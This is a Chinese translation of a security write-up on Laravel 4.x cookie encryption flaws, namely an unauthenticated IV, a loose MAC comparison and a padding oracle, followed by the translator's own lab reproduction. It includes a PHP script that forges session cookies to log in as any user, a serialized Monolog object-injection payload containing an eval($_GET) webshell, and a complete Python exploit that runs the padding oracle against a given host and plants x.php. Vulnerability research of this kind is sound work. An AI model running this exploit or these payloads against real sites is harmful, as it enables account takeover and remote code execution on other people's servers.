# Laravel cookie伪造,解密,和远程命令执行
from:[laravel-cookie-forgery-decryption-and-rce](https://labs.mwrinfosecurity.com/blog/2014/04/11/laravel-cookie-forgery-decryption-and-rce/)
0x00 内容
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* [名词约定](http://drops.com:8000/#translate)
* [简介](http://drops.com:8000/#introduction)
* [任意用户登录](http://drops.com:8000/#authenticating_as_any_other_user)
* [发送任意密文](http://drops.com:8000/#sending_arbitrary_ciphertexts)
* [解密密文](http://drops.com:8000/#decrypting_ciphertexts)
* [为任意明文伪造合法的密文](http://drops.com:8000/#forging_valid_ciphertexts_for_arbitrary_plaintexts)
* [远程代码执行](http://drops.com:8000/#remote_code_execution)
* [译者总结](http://drops.com:8000/#summary)
0x01 名词约定
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### 下图为CBC模式加密过程
### 下图为CBC模式解密过程
* Plaintext: 明文(P)
* Ciphertext: 密文(C)
* Initialization Vector: 初始化向量(IV)
* Key: 密钥(K)
0x02 简介
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* * *
Laravel PHP框架中的加密模块存在漏洞，攻击者能够利用该漏洞伪造session cookie来实现任意用户登录， 在某些情况下，攻击者能够伪造明文对应的密文，并以此来实行远程代码执行。
Laravel是一个免费，开源的PHP框架，它为现在的web开发人员提供了很多功能，包括基于cookie的session功能。 为了防止攻击者伪造cookie，Laravel会为其加密并带上一个消息认证码(MAC)。当接收到cookie时，会计算出相对应的MAC， 并与cookie所带的MAC做比较。如果两MAC不一致，则认为cookie已经被篡改，请求会被终止。
0x03 任意用户登录
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下面的代码展示了MAC验证和解密过程:
```
$payload = json_decode(base64_decode($payload), true);
if ($payload['mac'] != hash_hmac('sha256', $payload['value'], $this->key))
throw new DecryptException("MAC for payload is invalid.");
$value = base64_decode($payload['value']);
$iv = base64_decode($payload['iv']);
$plaintext = unserialize($this->stripPadding($this->mcryptDecrypt($value, $iv)));
```
从上面的代码可以看出MAC只对value进行校验，并不能保证初始化向量(IV)的完整性。 Laravel使用Rijndael－256的密码分组链接(CBC)模式。 着也就意味着，没有对IV进行校验，攻击者能够任意修改第一个块的明文。
Laravel “remember me”的cookie格式是user ID字符串，因此恶意用户可以修改他们自个的session cookie，达到登录任意用户，假设我们的用户ID为`"123"`，session cookie原始明文为`s:3:"123";后接22byte的补充`:`s:3:"123";\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16`(译者注: Laravel用的是PKCS7 padding，与PKCS5不同的是，[PKCS5](http://tools.ietf.org/html/rfc2898)明确填充的内容psLen是1-8， 而[PKCS7](http://tools.ietf.org/html/rfc2315)没有这限制。)
假设系统生成的cookie中的IV是这样子的:
```
V\xc5\xb5\x03\xf1\xd4"\xe5+>c\xffJPN\xad\x9f\xd6\xa0\x9cV\xe3@\x9c\xd5\xa0\xd1\xddS\x1d\xc9\x84
```
如果我们想伪造ID为1的用户，也就是cookie明文为`s:1:"1";后接24byte的补充`，为了能够使服务器端成功解密出ID为1的明文， 需要按照以下步骤生成IV:
就获得了Pb 相对应的IVb，提交新的cookie，我们就成了ID为1的用户，也可以用同样的方法来登录其他ID。 对攻击者来说，能够登录任意用户也是相当牛逼的，但你能牛逼的程度取决于应用程序傻逼的程度。有没有一种方法， 能够通杀使用Laravel的应用呢？
0x04 发送任意密文
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* * *
另外一个问题，进行MAC检验的时候使用的是`!=`。这以为着PHP在实际比较前会进行类型判断。hash_hmac返回的结果永远都是字符串， 但是如果`$payload['mac']`是一个整型，那么强制类型转换会使得伪造一个对应的MAC变得相对简单， 例如，正确的MAC以"0"或者其他非数字起头，那么整数0将与之匹配，如果以"1x"(x非数字)，那么整数1与之匹配，依此类推。 (译者注:作者难道没有被1e[1-9]xxx坑过没?)
```
var_dump('abcdefg' == 0); // true
var_dump('1abcdef' == 1); // true
var_dump('2abcdef' == 2); // true
```
由于MAC是经过json_decode处理的，攻击者可以提供一个整型的MAC，这也就意味着，攻击者能够提供一个正确的MAC给任意密文。
0x05 解密密文
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Laravel使用的是CBC模式的分组密码，我们也能够提供任意密文让其解密，我们是否能够实施一次牛逼哄哄的[CBC padding oracle attack](http://link.springer.com/chapter/10.1007/3-540-46035-7_35)攻击呢？ 答案是：在某种情况下，YES
一次有预谋的padding oracle attack攻击需要目标应用能够泄漏不同填充下解密的状态，回头看看解密过程的代码， 有三个地方填充状态可能会被泄漏:
* mcryptDecrypt(): 无侧漏，就是调用`mcrypt_decrypt()`，没对padding进行处理
* stripPadding(): 无明显侧漏，该方法检测padding是否合法，但不会报告错误，只是返回输入是否被篡改。 这里有个基于时间的边信道侧漏，是否多调用substr()，但是我们选择无视它。
* unserialize(): 当error reporting启用，一个不合法的PHP序列化字符串，它会侧漏输入字符串的长度。
嗯，当PHP reporting启用时(其实应该是Laravel的debug模式开启时)，反序列化解密后的数据会告诉我们有多少byte的padding被去除， 例如`unserialize()`爆出"offset X of 22 bytes"的错误时，我们就可以知道这里有10byte的padding。
这样的侧漏对于组织一次有预谋的padding oracle attack来说，足够！
0x06 为任意明文伪造合法的密文
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既然有了个CBC decryption oracle，那就很有可能利用[CBC-R](https://www.usenix.org/legacy/events/woot10/tech/full_papers/Rizzo.pdf)技术来加密任意明文。
CBC模式的解密过程为 Pi=DK(Ci) xor Ci−1,C0=IV ，如果攻击者能够控制或者知晓 DK(Ci) 和Ci−1 ， 他就能够生成他想要的明文块。既然这里有个选择密文攻击，很显然攻击者能够控制 Ci 和 Ci−1 ， 至于DK(Ci)
我们能够利用decryption oracle获得，因此攻击者无需知道密钥K即可对任意明文加密。牛逼吧，如果应用程序使用了这套加密API，我们就伪造密文来执行敏感操作，但是这还是得取决于应用有多傻逼， 我们希望变得更牛逼。
0x07 发送任意密文
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我们已经使用`unserialize()`作为我们padding oracle的基础， 那我们再次利用`unserialize()`作一次PHP对象注入来达到任意代码执行，如何？
经过搜索Laravel代码之后，发现还是蛮多类定义了`__wakeup()`或者`__destruct()`魔术方法， 不过我发现最有趣的一个类当属被很多项目引用的monolog PHP日志记录框架中的BufferHandler类，显然，如果payload利用的是被广泛应用的monolog而不是其他特定的类，会更为通用。 使用Composer(PHP依赖管理器)时，monolog很有可能被包含，因为它可能被注册为PHP class autoload，这也就意味着， monolog不用被明确的包含在我们请求的文件中，当我们反序列化的时候，PHP会自动寻找加载这个类。
BufferHandler类包装这另外一个log处理类，当BufferHandler对象被销毁时，BufferHandler对象会用它包含的实际处理log的对象处理它当前的log buffer，一个比较好的选择是能够存储到任意流资源(比如说文件流)的StreamHandler类，所以我们的计划是注入一个包含StreamHandler对象的BufferHandler对象，其中StreamHandler对象的流资源指向web根目录，并且BufferHandler内包含着带有php webshell的log buffer，好，计划通，行动。
利用下面的代码，很容易生成对应的payload:
```
<?php
require_once 'vendor/autoload.php';
use Monolog\Logger;
use Monolog\Handler\StreamHandler;
use Monolog\Handler\BufferHandler;
$handler = new BufferHandler(
new StreamHandler('target-file.php')
);
$handler->handle(array(
'level' => Logger::DEBUG,
'message' => '<?php eval(hex2bin($_GET[\'x\']));?>',
'extra' => array(),
));
print bin2hex(serialize($handler)) . "\n";
?>
```
上面的脚本会生成我们的payload:
```
O:29:"Monolog\Handler\BufferHandler":3:{s:10:"\x00*\x00handler";O:29:"Monolog\Handler\StreamHandler":1:{s:6:"\x00*\x00url";s:15:"target-file.php";}s:9:"\x00*\x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"\x00*\x00bufferSize";i:1;}
```
通过上面介绍的技巧，我们可以加密该payload，作为cookie提交上去的时候，代码就执行了。
0x08 译者总结
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对于原作者所说的漏洞，我拿一个开源blog[laravel-4.1-simple-blog](https://github.com/5-say/laravel-4.1-simple-blog)做实验，将关键文件回滚到存在漏洞状态，如果有人想研究，也可以在这[laravel-cookie-forgery-decryption-and-rce.zip](http://static.wooyun.org/20141017/2014101716030797096.zip)下载完整文件。
### 测试1 任意用户登录
在本地:
新注册一个账户[email protected]，得到用户ID为62，利用以下代码即可获取指定ID用户的cookie
```
<?php
if ($argc < 4) {
print("[*] Usage ".$argv[0]." cookie userid targetid\n");
return;
}
$cookie = json_decode(base64_decode($argv[1]), true);
$userid = $argv[2];
$targetid = $argv[3];
$iv_a = base64_decode($cookie['iv']);
$p_a = addPadding(serialize($userid));
$p_b = addPadding(serialize($targetid));
$iv_b = base64_encode($iv_a ^ $p_a ^ $p_b);
$cookie['iv'] = $iv_b;
echo base64_encode(json_encode($cookie))."\n";
function addPadding($value) {
$block_size = 32;
$pad = $block_size - (strlen($value) % $block_size);
return $value.str_repeat(chr($pad), $pad);
}
?>
```
运行结果
### 测试2 利用padding oracle来实现RCE
我修改原作者生成payload的脚本，对比生成的payload和原作者给的payload，发现原作者把一些无用的protect属性给去除了， payload显得比较短，打算直接使用作者给的payload。
但是！原作者的payload留了个大坑，正常访问下，index.php的工作目录是web目录， 但是unserialize cookie之后产生的BufferHandler对象和字符串做运算，而BufferHandler类没实现__toString魔术方法， 从而导致触发fatal error，使用register_shutdown_function注册的回调函数$this->close被调用，但是！在我测试环境`ubuntu 12.04 64bit + php 5.3.10`下，触发异常导致$this->close被调用的时候，工作环境被切换到了根路径'/'，从而导致写文件失败。
另外一个坑是mac校验处，本来以为`(10/16.0) ** 3 = 0.244140625`，开头连续三个数字字符的概率还算低，结果跑一遍才发现远远低估mac校验这里的情况了，比如说正确的校验值是`79e58c735e1105d7222f321031a782251da88ebd08cdc1de926ead2df4b9d3fd`， 这种情况就让人很无奈。在实际情况中，正确的做法是换payload，在这里我就直接换key， 最后把key换成`Http://WeiBo.COM/Fatez3r0/home?Y`。 由于程序推ciphertext，推cv的关联性，以及推1 byte cv的随机性，多线程在此处意义不大。
下面是我根据上面的原理编写的exploit
```
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
import re
import sys
import json
import struct
import base64
import requests
from optparse import OptionParser
def init_parser():
print("")
print("=== POC for laravel RCE ===")
print("=== by fate0 ===")
print("=== [email protected] ===")
print("=== weibo.com/fatez3r0 ===")
print("")
usage = "Usage: %prog --host http://www.fatezero.org"
parser = OptionParser(usage=usage, description="POC for laravel RCE")
parser.add_option("--host", type="str", dest="host", help="remote host name")
return parser
class LaravelOracle(object):
"""
提供32位的payload，也就是明文P
返回相对应的32byte IV
"""
block_size = 32
def __init__(self, domain, plaintext, ciphertext):
self.domain = domain
self.timeout = 7
self.re_pattern = re.compile("Error\sat\soffset\s\d{1,2}\sof\s([\d]{1,2})\sbytes", re.DOTALL | re.M)
self.plaintext = bytearray(plaintext) # 32byte的payload
self.ciphertext = bytearray(ciphertext) # 32byte的ciphertext
self.cv = bytearray() # 正确的cv (中间值)
self.iv = bytearray()
self.cookie = {
'mac': 0,
'value': self.ciphertext,
'iv': bytearray('0'*32)
}
self.modify_cookie_mac()
@staticmethod
def add_padding(value):
"""
对value进行padding
"""
pad = LaravelOracle.block_size - (len(value) % LaravelOracle.block_size)
return "{value}{padding}".format(value=value, padding=chr(pad)*pad)
@staticmethod
def format_cookie(cookie):
"""
将易操作的cookie转换成laravel的cookie
"""
tmp_cookie = dict()
send_cookie = dict()
tmp_cookie['iv'] = base64.b64encode(cookie['iv'])
tmp_cookie['value'] = base64.b64encode(cookie['value'])
tmp_cookie['mac'] = int(cookie['mac'])
send_cookie['laravel_session'] = base64.b64encode(json.dumps(tmp_cookie))
return send_cookie
def modify_cookie_iv(self, index):
if len(self.cv) != index:
print("[-] Something Wrong")
sys.exit()
tmp_append = bytearray()
for each_c in self.cv:
tmp_append.append(each_c ^ (index+1))
self.cookie['iv'] = self.cookie['iv'][0:LaravelOracle.block_size-index] + tmp_append
def modify_cookie_mac(self):
"""
获取正确的mac
一个32byte的分组，只有1个正确的mac
"""
while True:
send_cookie = self.format_cookie(self.cookie)
response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout)
if response.status_code == 500:
return True
self.cookie['mac'] += 1
def guess_cookie_iv_byte(self, index, value):
"""
猜测一个字节的IV
"""
self.cookie['iv'][LaravelOracle.block_size-index-1] = value
send_cookie = self.format_cookie(self.cookie)
response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout)
re_result = self.re_pattern.findall(response.content)
if not re_result:
if index != 31:
return False
if response.status_code == 200:
self.cv.insert(0, value ^ (index+1))
return True
elif int(re_result[0]) >= LaravelOracle.block_size - index:
return False
else:
self.cv.insert(0, value ^ (index+1))
return True
def exploit(self):
for index in xrange(32):
self.modify_cookie_iv(index)
for value in xrange(256):
if self.guess_cookie_iv_byte(index, value):
break
print(index, hex(self.cv[0]))
for p_char, cv_char in zip(self.plaintext, self.cv):
self.iv.append(p_char ^ cv_char)
def main():
parser = init_parser()
option, _ = parser.parse_args()
domain = option.host
if not domain:
parser.print_help()
sys.exit(0)
domain = domain if domain.startswith('http') else "http://{domain}".format(domain=domain)
domain = domain if not domain.endswith('/') else domain[:-1]
cookie = dict()
cookie['mac'] = 0
payload = ('''O:29:"Monolog\Handler\BufferHandler":3:{s:10:"\x00*\x00handler";O:29'''
''':"Monolog\Handler\StreamHandler":1:{s:6:"\x00*\x00url";s:26:"/var/www/blog/public/x.php";}'''
'''s:9:"\x00*\x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php '''
'''eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"\x00*\x00bufferSize";i:1;}''')
padding_payload = LaravelOracle.add_padding(payload)
payload_block = reversed(struct.unpack("32s"*(len(padding_payload)/32), padding_payload))
ciphertext = bytearray('0'*32)
for each_payload_block in payload_block:
print("[plaintext] {payload_block}".format(payload_block=each_payload_block))
print("[ciphertext] {ciphertext}".format(ciphertext=base64.b64encode((ciphertext[:32]))))
LO = LaravelOracle(domain, each_payload_block, ciphertext[:32])
LO.exploit()
print("[iv] {iv}".format(iv=base64.b64encode(LO.iv)))
ciphertext = LO.iv + ciphertext
cookie['iv'] = ciphertext[:32]
cookie['value'] = ciphertext[32:]
cookie['mac'] = 0
while True:
send_cookie = LaravelOracle.format_cookie(cookie)
requests.get(domain, cookies=send_cookie, timeout=7)
if requests.get("{domain}/{backdoor}".format(domain=domain, backdoor='x.php')).status_code == 200:
print("cookie: \n{cookie}".format(cookie=send_cookie))
return
cookie['mac'] += 1
if __name__ == '__main__':
main()
```
运行结果
